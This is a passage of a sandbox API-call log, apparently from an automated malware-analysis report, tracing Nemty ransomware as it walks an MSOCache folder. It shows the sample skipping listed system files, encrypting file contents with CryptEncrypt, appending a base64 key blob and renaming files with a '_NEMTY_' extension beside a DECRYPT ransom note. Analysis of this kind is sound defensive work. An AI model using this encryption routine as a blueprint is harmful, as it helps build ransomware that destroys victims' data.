lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml._nemty_kgobjgd_")) returned 1 [0047.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.848] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0047.848] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0047.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.849] Sleep (dwMilliseconds=0x5) [0047.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd03a8770, dwHighDateTime=0x1d561e7)) [0047.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd03a8770, dwHighDateTime=0x1d561e7)) [0047.859] GetLastError () returned 0x0 [0047.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.859] GetLastError () returned 0x0 [0047.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.859] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.859] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="MXj6eiL+4B2L4doAg4rKkzWv+xFn0y9W63qecdReUnRCcCQkiZFuikFgHCroPfG6\r\n4bUBKM//2GgGs+/5zQ0bYB8jSTZMCiMyAD0U9DJcjfntnM/AkG/yMwSeuVWNDo3v\r\nwUryNTnKESRvoM3qlDqLakqRm/jTjgl4j7HOa46eQhmKNIMoVelvgObBslTdJErF\r\n1m5ph/M+19xLkaJctt7/acR+z3v+IoQBRhwBmVRImPvwS3aj+MRWtdyd6VjhtEor\r\npxhlKEpiFaVzvwh4aqoC054KF81QC1ccaj9GpbGUWpZq2GyJzZQFaT+rqjdgL6QV\r\nu2oE4YGlmzeaelCcjjoKZQ==\r\n", pcchString=0x653ef9c) returned 1 [0047.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.859] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=5884) returned 1 [0047.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x16f0) returned 0x6346d48 [0047.860] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.860] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x16f0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x16f0, lpOverlapped=0x0) returned 1 [0047.861] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.861] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x16f0, lpOverlapped=0x0) returned 1 [0047.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.862] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16fc [0047.862] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.862] CloseHandle (hObject=0x3c8) returned 1 [0047.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.863] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.863] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd00faeb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd00faeb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd00faeb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.864] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f942e8 [0047.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.865] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd00faeb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd00faeb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd00faeb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.865] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0047.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.865] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.865] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0047.866] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0047.866] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0047.866] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0047.866] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0047.866] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0047.866] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0047.866] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0047.866] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0047.866] WideCharToMultiByte (in: CodePage=0xfde9, 